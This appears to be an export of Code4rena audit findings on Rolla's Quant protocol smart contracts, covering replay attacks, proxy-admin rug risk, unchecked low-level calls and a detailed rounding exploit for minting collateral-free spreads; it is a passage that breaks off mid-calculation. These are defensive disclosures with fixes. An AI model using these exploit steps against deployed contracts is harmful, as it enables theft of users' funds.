"https://github.com/code-423n4/2022-03-rolla-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "Low-level transfer via call() can fail silently", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/a06418c9cc847395f3699bdf684a9ac066651ed7/quant-protocol/contracts/timelock/TimelockController.sol#L414-L415 # Vulnerability details ## Impact In the `_call()` function in `TimelockController.sol`, a call is executed with the following code: ``` function _call( bytes32 id, uint256 index, address target, uint256 value, bytes memory data ) private { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = target.call{value: value}(data); require(success, \"TimelockController: underlying transaction reverted\"); emit CallExecuted(id, index, target, value, data); } ``` Per the Solidity docs: \"The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed.\" Therefore, transfers may fail silently. ## Proof of Concept Please find the documentation here: https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions ## Tools Used Manual review. ## Recommended Mitigation Steps Check for the account's existence prior to transferring. "}, {"title": "[WP-H6] Admin of the upgradeable proxy contract of `Controller.sol` can rug users", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/48", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/a06418c9cc847395f3699bdf684a9ac066651ed7/quant-protocol/contracts/Controller.sol#L22-L34 # Vulnerability details Use of Upgradeable Proxy Contract Structure allows the logic of the contract to be arbitrarily changed. This allows the proxy admin to perform malicious actions e.g., taking funds from users' wallets up to the allowance limit. This action can be performed by the malicious/compromised proxy admin without any restriction. Considering that the purpose of this particular contract is for accounting of the Collateral and LongShortTokens, we believe the users' allowances should not be hold by this upgradeable contract. ### PoC Given: - collateral: `USDC` #### Rug Users' Allowances 1. Alice `approve()` and `_mintOptionsPosition()` with `1e8 USDC`; 2. Bob `approve()` and `_mintOptionsPosition()` with `5e8 USDC`; 3. A malicious/compromised proxy admin can call `upgradeToAndCall()` on the proxy contract and set a malicious contract as `newImplementation` and stolen all the USDC in Alice and Bob's wallets; #### Rug Contract's Holdings (funds that belongs to users) A malicious/compromised proxy admin can just call `upgradeToAndCall()` on the proxy contract and send all the USDC held by the contract to an arbitrary address. ### Severity A smart contract being structured as an upgradeable contract alone is not usually considered as a high severity risk. But given the severe impact (all the funds in the contract and funds in users' wallets can be stolen), we mark it as a `High` severity issue. ### Recommendation Consider using the non-upgradeable `CollateralToken` contract to hold user's allowances instead. See also the Recommendation of [WP-H7]. "}, {"title": "[WP-M3] `OperateProxy.callFunction()` should check if the `callee` is a contract", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/OperateProxy.sol#L10-L19 # Vulnerability details https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/Controller.sol#L550-L558 ```solidity /// @notice Allows a sender/signer to make external calls to any other contract. /// @dev A separate OperateProxy contract is used to make the external calls so /// that the Controller, which holds funds and has special privileges in the Quant /// Protocol, is never the `msg.sender` in any of those external calls. /// @param _callee The address of the contract to be called. /// @param _data The calldata to be sent to the contract. function _call(address _callee, bytes memory _data) internal { IOperateProxy(operateProxy).callFunction(_callee, _data); } ``` https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/OperateProxy.sol#L10-L19 ```solidity function callFunction(address callee, bytes memory data) external override { require( callee != address(0), \"OperateProxy: cannot make function calls to the zero address\" ); (bool success, bytes memory returnData) = address(callee).call(data); require(success, \"OperateProxy: low-level call failed\"); emit FunctionCallExecuted(tx.origin, returnData); } ``` As the `OperateProxy.sol#callFunction()` function not payable, we believe it's not the desired behavior to call a non-contract address and consider it a successful call. For example, if a certain business logic requires a successful `token.transferFrom()` call to be made with the `OperateProxy`, if the `token` is not a existing contract, the call will return `success: true` instead of `success: false` and break the caller's assumption and potentially malfunction features or even cause fund loss to users. The qBridge exploit (January 2022) was caused by a similar issue. As a reference, OpenZeppelin's `Address.functionCall()` will check and `require(isContract(target), \"Address: call to non-contract\");` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/utils/Address.sol#L135 ```solidity function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, \"Address: insufficient balance for call\"); require(isContract(target), \"Address: call to non-contract\"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } ``` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/utils/Address.sol#L36-L42 ```solidity function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } ``` ### Recommendation Consider adding a check and throw when the `callee` is not a contract. "}, {"title": "[WP-H2] `EIP712MetaTransaction.executeMetaTransaction()` failed txs are open to replay attacks", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/45", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/EIP712MetaTransaction.sol#L86 # Vulnerability details Any transactions that fail based on some conditions that may change in the future are not safe to be executed again later (e.g. transactions that are based on others actions, or time-dependent etc). In the current implementation, once the low-level call is failed, the whole tx will be reverted and so that `_nonces[metaAction.from]` will remain unchanged. As a result, the same tx can be replayed by anyone, using the same signature. https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/EIP712MetaTransaction.sol#L86 ```solidity function executeMetaTransaction( MetaAction memory metaAction, bytes32 r, bytes32 s, uint8 v ) external payable returns (bytes memory) { require( _verify(metaAction.from, metaAction, r, s, v), \"signer and signature don't match\" ); uint256 currentNonce = _nonces[metaAction.from]; // intentionally allow this to overflow to save gas, // and it's impossible for someone to do 2 ^ 256 - 1 meta txs unchecked { _nonces[metaAction.from] = currentNonce + 1; } // Append the metaAction.from at the end so that it can be extracted later // from the calling context (see _msgSender() below) (bool success, bytes memory returnData) = address(this).call( abi.encodePacked( abi.encodeWithSelector( IController(address(this)).operate.selector, metaAction.actions ), metaAction.from ) ); require(success, \"unsuccessful function call\"); emit MetaTransactionExecuted( metaAction.from, payable(msg.sender), currentNonce ); return returnData; } ``` See also the implementation of OpenZeppelin's `MinimalForwarder`: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/metatx/MinimalForwarder.sol#L42-L66 ### PoC Given: - The collateral is USDC; - Alice got `10,000 USDC` in the wallet. 1. Alice submitted a MetaTransaction to `operate()` and `_mintOptionsPosition()` with `10,000 USDC`; 2. Before the MetaTransaction get executed, Alice sent `1,000 USDC` to Bob; 3. The MetaTransaction submited by Alice in step 1 get executed but failed; 4. A few days later, Bob sent `1,000 USDC` to Alice; 5. The attacker can replay the MetaTransaction failed to execute at step 3 and succeed. Alice's `10,000 USDC` is now been spent unexpectedly against her will and can potentially cause fund loss depends on the market situation. ### Recommendation Failed txs should still increase the nonce. While implementating the change above, consider adding one more check to require sufficient gas to be paid, to prevent \"insufficient gas griefing attack\" as described in [this article](https://ipfs.io/ipfs/QmbbYTGTeot9ic4hVrsvnvVuHw4b5P7F5SeMSNX9TYPGjY/blog/ethereum-gas-dangers/). "}, {"title": " [WP-H0] Wrong implementation of `EIP712MetaTransaction`", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/43", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/EIP712MetaTransaction.sol#L102-L114 # Vulnerability details 1. `EIP712MetaTransaction` is a utils contract that intended to be inherited by concrete (actual) contracts, therefore. it's initializer function should not use the `initializer` modifier, instead, it should use `onlyInitializing` modifier. See the implementation of [openzeppelin `EIP712Upgradeable` initializer function](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.5.1/contracts/utils/cryptography/draft-EIP712Upgradeable.sol#L48-L57). https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/EIP712MetaTransaction.sol#L102-L114 ```solidity /// @notice initialize method for EIP712Upgradeable /// @dev called once after initial deployment and every upgrade. /// @param _name the user readable name of the signing domain for EIP712 /// @param _version the current major version of the signing domain for EIP712 function initializeEIP712(string memory _name, string memory _version) public initializer { name = _name; version = _version; __EIP712_init(_name, _version); } ``` Otherwise, when the concrete contract's initializer function (with a `initializer` modifier) is calling EIP712MetaTransaction's initializer function, it will be mistok as reentered and so that it will be reverted (unless in the context of a constructor, e.g. Using @openzeppelin/hardhat-upgrades `deployProxy()` to initialize). https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.5.1/contracts/proxy/utils/Initializable.sol#L50-L53 ```solidity /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, \"Initializable: contract is already initialized\"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } ``` See also: https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/releases/tag/v4.4.1 2. `initializer` can only be called once, it can not be \"called once after every upgrade\". https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/utils/EIP712MetaTransaction.sol#L102-L114 ```solidity /// @notice initialize method for EIP712Upgradeable /// @dev called once after initial deployment and every upgrade. /// @param _name the user readable name of the signing domain for EIP712 /// @param _version the current major version of the signing domain for EIP712 function initializeEIP712(string memory _name, string memory _version) public initializer { name = _name; version = _version; __EIP712_init(_name, _version); } ``` 3. A utils contract that is not expected to be deployed as a standalone contract should be declared as `abstract`. It's `initializer` function should be `internal`. See the implementation of [openzeppelin `EIP712Upgradeable`](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.5.1/contracts/utils/cryptography/draft-EIP712Upgradeable.sol#L28). https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.5.1/contracts/utils/cryptography/draft-EIP712Upgradeable.sol#L28 ```solidity abstract contract EIP712Upgradeable is Initializable { // ... } ``` ### Recommendation Change to: ```solidity abstract contract EIP712MetaTransaction is EIP712Upgradeable { // ... } ``` ```solidity /// @notice initialize method for EIP712Upgradeable /// @dev called once after initial deployment. /// @param _name the user readable name of the signing domain for EIP712 /// @param _version the current major version of the signing domain for EIP712 function __EIP712MetaTransaction_init(string memory _name, string memory _version) internal onlyInitializing { name = _name; version = _version; __EIP712_init(_name, _version); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QTokens with the same symbol will lead to mistakes", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/options/QTokenStringUtils.sol#L115-L130 # Vulnerability details The `README.md` states: > Bob can then trade the QToken with Alice for a premium. The method for doing that is beyond the scope of the protocol but can be done via any smart contract trading platform e.g. 0x. https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/README.md?plain=1#L70 It is therefore important that tokens be easily identifiable so that trading on DEXes is not error-prone. ## Impact Currently the `QToken` `name` includes the full year but the `QToken` symbol only contains the last two digits of the year, which can lead to mistakes. If someone mints a QToken with an expiry 100 years into the future, then the year will be truncated and appear as if the token expired this year. Normal centralized exchanges prevent this by listing options themselves and ensuring that there are never two options with the same identifier at the same time. The Rolla protocol does not have any such protections. Users must be told to not only check that the symbol name is what they expect, but to also separately check the token name or the specific expiry, or they might buy the wrong option on a DEX, or have fat-fingered during minting on a non-Rolla web interface. It's important to minimize the possibility of mistakes, and not including the full year in the symbol makes things error-prone, and will lead to other options providers winning out. The 0x [REST interface](https://docs.0x.org/0x-api-swap/api-references/get-swap-v1-quote) for swaps has the ability to do a swap by token name rather than by token address. I was unable to figure out whether there was an allow-list of token names, or if it is easy to add a new token. If there is no, or an easily bypassed, access-control for adding new tokens, I would say this finding should be upgraded to high-severity, though I doubt this is the case. ## Proof of Concept ```solidity /// concatenated symbol string tokenSymbol = string( abi.encodePacked( \"ROLLA\", \"-\", underlying, \"-\", _uintToChars(day), monthSymbol, _uintToChars(year), \"-\", displayStrikePrice, \"-\", typeSymbol ) ); ``` https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/options/QTokenStringUtils.sol#L115-L130 ```solidity /// @return 2 characters that correspond to a number function _uintToChars(uint256 _number) internal pure virtual returns (string memory) { if (_number > 99) { _number %= 100; } string memory str = Strings.toString(_number); if (_number < 10) { return string(abi.encodePacked(\"0\", str)); } return str; } ``` https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/options/QTokenStringUtils.sol#L181-L199 ## Tools Used Code inspection ## Recommended Mitigation Steps Include the full year in the token's symbol "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "Mint spread collateral-less and conjuring collateral claims out of thin air with implicit arithmetic rounding and flawed int to uint conversion", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/31", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/libraries/QuantMath.sol#L137 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/libraries/QuantMath.sol#L151 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/libraries/SignedConverter.sol#L28 # Vulnerability details ## Impact This report presents 2 different incorrect behaviour that can affect the correctness of math calculations 1. Unattended Implicit rounding in QuantMath.sol `div` and `mul` 2. Inappropriate method of casting integer to unsigned integer in SignedConverter.sol `intToUint` Bug 1 affects the correctness when calculating collateral required for `_mintSpread`. Bug 2 expands the attack surface and allows attackers to target the `_claimCollateral` phase instead. Both attacks may result in tokens being stolen from Controller in the worst case, but is most likely too costly to exploit under current BNB chain environment. The potential impact however, should not be taken lightly, since it is known that the ethereum environment in highly volatile and minor changes in the environment can suddenly make those bugs cheap to exploit. ## Proof of Concept In this section, we will first present bug 1, and then demonstrate how this bug can be exploited. Then we will discuss how bug 2 opens up more attack chances and go over another PoC. Before getting started, we should go over an important concept while dealing with fixed point number -- rounding. Math has no limits on precision, but computers do. This problem is especially critical to systems handling large amount of \"money\" that is allowed to be arbitrarily divided. A common way for ethereum smart contract developers to handle this is through rounding numbers. Rolla is no exception. In QuantMath, Rolla explicitly wrote the `toScaledUint` function to differentiate between rounding numbers up or down when scaling numbers to different precision (or we call it `_decimals` here). The intended usage is to scale calculated numbers (amount of tokens) up when Controller is the receiver, and scale it down when Controller is sender. In theory, this function should guarantee Controller can never \"lose tokens\" due to rounding. ``` library QuantMath { ... struct FixedPointInt { int256 value; } int256 private constant _SCALING_FACTOR = 1e27; uint256 private constant _BASE_DECIMALS = 27; ... function toScaledUint( FixedPointInt memory _a, uint256 _decimals, bool _roundDown ) internal pure returns (uint256) { uint256 scaledUint; if (_decimals == _BASE_DECIMALS) { scaledUint = _a.value.intToUint(); } else if (_decimals > _BASE_DECIMALS) { uint256 exp = _decimals - _BASE_DECIMALS; scaledUint = (_a.value).intToUint() * 10**exp; } else { uint256 exp = _BASE_DECIMALS - _decimals; uint256 tailing; if (!_roundDown) { uint256 remainer = (_a.value).intToUint() % 10**exp; if (remainer > 0) tailing = 1; } scaledUint = (_a.value).intToUint() / 10**exp + tailing; } return scaledUint; } ... } ``` In practice, the above function also works quite well (sadly, not perfect, notice the `intToUint` function within. We will come back to this later), but it only works if we can promise that before entering this function, all numbers retain full precision and is not already rounded. This is where `div` and `mul` comes into play. As we can easily see in the snippet below, both functions involve the division operator '/', which by default discards the decimal part of the calculated result (be aware to not confuse this with the `_decimal` used while scaling FixedPointInt). The operation here results in an implicit round down, which limits the effectiveness of explicit rounding in `toScaledUint` showned above. ``` function mul(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return FixedPointInt((a.value * b.value) / _SCALING_FACTOR); } function div(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return FixedPointInt((a.value * _SCALING_FACTOR) / b.value); } ``` Now let's see how this implicit rounding can causes troubles. We start with the `_mintSpread` procedure creating a call credit spread. For brevity, the related code is not shown, but here's a summary of what is done. * `Controller._mintSpread` * `QuantCalculator.getCollateralRequirement` * `FundsCalculator.getCollateralRequirement` * `FundsCalculator.getOptionCollateralRequirement` * `FundsCalculator.getCallCollateralRequirement` * scales `_qTokenToMintStrikePrice` from `_strikeAssetDecimals (8)` to `_BASE_DECIMALS (27)` * scales `_qTokenForCollateralStrikePrice` from `_strikeAssetDecimals (8)` to `_BASE_DECIMALS (27)` * `collateralPerOption = (collateralStrikePrice.sub(mintStrikePrice)).div(collateralStrikePrice)` * scale `_optionsAmount` from `_optionsDecimals (18)` to `_BASE_DECIMALS (27)` * `collateralAmount = _optionsAmount.mul(collateralPerOption)` * uses `qTokenToMint.underlyingAsset` (weth or wbtc) as collateral * scale and round up `collateralAmountFP` from `_BASE_DECIMALS (27)` to `payoutDecimals (18)` If we extract all the math related stuff, it would be something like below ``` def callCreditSpreadCollateralRequirement(_qTokenToMintStrikePrice, _qTokenForCollateralStrikePrice, _optionsAmount): X1 = _qTokenToMintStrikePrice * 10^19 X2 = _qTokenForCollateralStrikePrice * 10^19 X3 = _optionsAmount * 10^9 assert X1 < X2 #credit spread Y1 = (X2 - X1) * 10^27 // X2 #implicit round down due to div Y2 = Y1 * X3 // 10^27 #implicit round down due to mul Z = Y2 // 10^9 if Y2 % 10^9 > 0: #round up since we are minting spread (Controller is receiver) Z+=1 return Z ``` Both implicit round downs can be abused, but we shall focus on the `mul` one here. Assume we follow the following actions 1. create option `A` with strike price `10 + 10^-8 BUSD (10^9 + 1 under 8 decimals) <-> 1 WETH` 2. create option `B` with strike price `10 BUSD (10^9 under 8 decimals) <-> 1 WETH` 3. mint `10^-18` (1 under 18 decimals) option `A` 3-1. `pay 1 eth` 4. mint `10^-18` (1 under 18 decimals) spread `B` with `A` as collateral 4-1. `X1 = _qTokenToMintStrikePrice * 10^19 = 10^9 * 10^19 = 10^28` 4-2. `X2 = _qTokenToMintStrikePrice * 10^19 = (10^9 + 1) * 10^19 = 10^28 + 10^19` 4-3. `X3 = _optionsAmount * 10^9 = 1 * 10^9 = 10^9` 4-4. `Y1 = (X2 - X1) * 10^27 // X2 = (10^28 + 10^19 - 10^28) * 10^27 // (10^28 + 10^19) = 99999999000000000` 4-5. `Y2 = Y1 * X3 // 10^27 = 99999999000000000 * 10^9 / 10^27 = 0` 4-6. `Z = Y2 // 10^9 = 0` 4-7. `Y2 % 10^9 = 0` so `Z` remains unchanged We minted a call credit spread without paying any fee. Now let's think about how to extract the value we conjured out of thin air. To be able to withdraw excessive collateral, we can choose to do a excercise+claim or neutralize current options. Here we take the neutralize path. For neutralizing spreads, the procedure is basically the same as minting spreads, except that the explicit round down is taken since `Controller` is the payer here. The neutralize procedure returns the `qToken` used as collateral and pays the collateral fee back. The math part can be summarized as below. ``` def neutralizeCreditSpreadCollateralRequirement(_qTokenToMintStrikePrice, _qTokenForCollateralStrikePrice, _optionsAmount): X1 = _qTokenToMintStrikePrice * 10^19 X2 = _qTokenForCollateralStrikePrice * 10^19 X3 = _optionsAmount * 10^9 assert X1 < X2 #credit spread Y1 = (X2 - X1) * 10^27 // X2 #implicit round down due to div Y2 = Y1 * X3 // 10^27 #implicit round down due to mul Z = Y2 // 10^9 #explicit scaling return Z ``` There are two challenges that need to be bypassed, the first one is to avoid implicit round down in `mul`, and the second is to ensure the revenue is not rounded away during explicit scaling. To achieve this, we first mint `10^-9 + 2 * 10^-18` spreads seperately (10^9 + 2 under 18 decimals), and as shown before, no additional fees are required while minting spread from original option. Then we neutralize all those spreads at once, the calculation is shown below 1. neutralize `10^-9 + 2 * 10^-18` (10^9 + 2 under 18 decimals) spread `B` 4-1. `X1 = _qTokenToMintStrikePrice * 10^19 = 10^9 * 10^19 = 10^28` 4-2. `X2 = _qTokenToMintStrikePrice * 10^19 = (10^9 + 1) * 10^19 = 10^28 + 10^19` 4-3. `X3 = _optionsAmount * 10^9 = (10^9 + 2) * 10^9 = 10^18 + 2` 4-4. `Y1 = (X2 - X1) * 10^27 // X2 = (10^28 + 10^19 - 10^28) * 10^27 // (10^28 + 10^19) = 99999999000000000` 4-5. `Y2 = Y1 * X3 // 10^27 = 99999999000000000 * (10^18 + 2) / 10^27 = 1000000000` 4-6. `Z = Y2 // 10^9 = 10^9 // 10^9 = 1` And with this, we managed to generate 10^-18 weth of revenue. This approach is pretty impractical due to the requirement of minting 10^-18 for `10^9 + 2` times. This montrous count mostly likely requires a lot of gas to pull off, and offsets the marginal revenue generated through our attack. This leads us to explore other possible methods to bypass this limitation. It's time to start looking at the second bug. Recall we mentioned the second bug is in `intToUint`, so here's the implementation of it. It is not hard to see that this is actually an `abs` function named as `intToUint`. ``` function intToUint(int256 a) internal pure returns (uint256) { if (a < 0) { return uint256(-a); } else { return uint256(a); } } ``` Where is this function used? And yes, you guessed it, in `QuantCalculator.calculateClaimableCollateral`. The process of claiming collateral is quite complex, but we will only look at the specific case relevant to the exploit. Before reading code, let's first show the desired scenario. Note that while we wait for expiry, there are no need to sell any option/spread. 1. mint a `qTokenLong` option 2. mint a `qTokenShort` spread with `qTokenLong` as collateral 3. wait until expire, and expect expiryPrice to be between qTokenLong and qTokenShort ``` ----------- qTokenLong strike price ----------- expiryPrice ----------- qTokenShort strike price ``` Here is the outline of the long waited claimCollateral for spread. * `Controller._claimCollateral` * `QuantCalculator.calculateClaimableCollateral` * `FundsCalculator.getSettlementPriceWithDecimals` * `FundsCalculator.getPayout` for qTokenLong * qTokenLong strike price is above expiry price, worth 0 * `FundsCalculator.getCollateralRequirement` * This part we saw earlier, omit details * `FundsCalculator.getPayout` for qTokenShort * uses `qTokenToMint.underlyingAsset` (weth or wbtc) as collateral * `FundsCalculator.getPayoutAmount` for qTokenShort * scale `_strikePrice` from `_strikeAssetDecimals (8)` to `_BASE_DECIMALS (27)` * scale `_expiryPrice.price` from `_expiryPrice.decimals (8)` to `_BASE_DECIMALS (27)` * scale `_amount` from `_optionsDecimals (18)` to `_BASE_DECIMALS (27)` * `FundsCalculator.getPayoutForCall` for qTokenShort * `payoutAmount = expiryPrice.sub(strikePrice).mul(amount).div(expiryPrice)` * `returnableCollateral = payoutFromLong.add(collateralRequirement).sub(payoutFromShort)` * scale and round down `abs(returnableCollateral)` from `_BASE_DECIMALS (27)` to `payoutDecimals (18)` Again, we summarize the math part into a function ``` def claimableCollateralCallCreditSpreadExpiryInbetween(_qTokenShortStrikePrice, _qTokenLongStrikePrice, _expiryPrice, _amount): def callCreditSpreadCollateralRequirement(_qTokenToMintStrikePrice, _qTokenForCollateralStrikePrice, _optionsAmount): X1 = _qTokenToMintStrikePrice * 10^19 X2 = _qTokenForCollateralStrikePrice * 10^19 X3 = _optionsAmount * 10^9 Y1 = (X2 - X1) * 10^27 // X2 Y2 = Y1 * X3 // 10^27 return Y2 def callCreditSpreadQTokenShortPayout(_strikePrice, _expiryPrice, _amount): X1 = _strikePrice * 10^19 X2 = _expiryPrice * 10^19 X3 = _amount * 10^9 Y1 = (X2-X1) * X3 // 10^27 Y2 = Y1 * 10^27 // X2 return Y2 assert _qTokenShortStrikePrice > _expiryPrice > _qTokenLongStrikePrice A1 = payoutFromLong = 0 A2 = collateralRequirement = callCreditSpreadCollateralRequirement(_qTokenShortStrikePrice, _qTokenLongStrikePrice, _amount) A3 = payoutFromShort = callCreditSpreadQTokenShortPayout(_qTokenShortStrikePrice, _expiryPrice, _amount) B1 = A1 + A2 - A3 Z = abs(B1) // 10^9 return Z ``` Given the context, it should be pretty easy to imagine what I am aiming here, to make `B1 < 0`. We already know `A1 = 0`, so the gaol basically boils down to making `A2 < A3`. Let's further simplify this requirement and see if the equation is solvable. ``` X = _qTokenLongStrikePrice (8 decimals) Y = _expiryPrice (8 decimals) Z = _qTokenShortStrikePrice (8 decimals) A = _amount (scaled to 27 decimals) assert X>Y>Z>0 assert X,Y,Z are integers assert (((X - Z) * 10^27 // X) * A // 10^27) < (((Y - Z) * A // 10^27) * 10^27 // Y) ``` Notice apart from the use of `X` and `Y`, the two sides of the equation only differs by when `A` is mixed into the equation, meaning that if we temporarily ignore the limitation and set `X = Y`, as long as left hand side of equation does an implicit rounding after dividing by X, right hand side will most likely be larger. Utilizing this, we turn to solve the equation of ``` (X-Z) / X - (Y-Z) / Y < 10^-27 => Z / Y - Z / X < 10^-27 => (Z = 1 yields best solution) => 1 / Y - 1 / X < 10^-27 => X - Y < X * Y * 10^-27 => 0 < X * Y - 10^27 * X + 10^27 * Y => require X > Y, so model Y as X - B, where B > 0 and B is an integer => 0 < X^2 - B * X - 10^27 * B ``` It is not easy to see that the larger `X` is, the larger the range of allowed `B`. This is pretty important since `B` stands for the range of expiry prices where attack could work, so the larger it is, the less accurate our guess can be to profit. Apart form range of `B`, value of `X` is the long strike price and upper bound of range `B`, so we would also care about it, a simple estimation shows that `X` must be above `10^13.5 (8 decimals)` for there to be a solution, which amounts to about `316228 BUSD <-> 1 WETH`. This is an extremely high price, but not high enough to be concluded as unreachable in the near future. So let's take a slightly generous number of `10^14 - 1` as X and calculate the revenue generated following this exploit path. ``` 0 < (10^14 - 1)^2 - B * (10^14 - 1) - 10^27 * B => (10^14 - 1)^2 / (10^14 - 1 + 10^27) > B => B <= 9 ``` Now we've got the range of profitable expiry price. As we concluded earlier, the range is extremely small with a modest long strike price, but let's settle with this for now and see how much profit can be generated if we get lucky. To calculate profit, we take `_qTokenLongStrikePrice = 10^14 - 1 (8 decimals)`, `_qTokenShortStrikePrice = 1 (8 decimals)`, `_expiryPrice = 10^14 - 2 (8 decimals)` and `_amount = 10^28 (18 decimals)` and plug it back into the function. 1. in `callCreditSpreadCollateralRequirement` 1-1. `X1 = _qTokenForCollateralStrikePrice * 10^19 = 1 * 10^19 = 10^19` 1-2. `X2 = _qTokenToMintStrikePrice * 10^19 = (10^14 - 1) * 10^19 = 10^33 - 10^19` 1-3. `X3 = _optionsAmount * 10^9 = 10^28 * 10^9 = 10^37` 1-4. `Y1 = (X2 - X1) * 10^27 // X2 = (10^33 - 2 * 10^19) * 10^27 // (10^33 - 10^19) = 999999999999989999999999999` 1-5. `Y2 = Y1 * X3 // 10^27 = 999999999999989999999999999 * 10^37 // 10^27 = 999999999999989999999999999 * 10^10` 2. in `callCreditSpreadQTokenShortPayout` 2-1. `X1 = _strikePrice * 10^19 = 1 * 10^19 = 10^19` 2-2. `X2 = _expiryPrice * 10^19 = (10^14 - 2) * 10^19 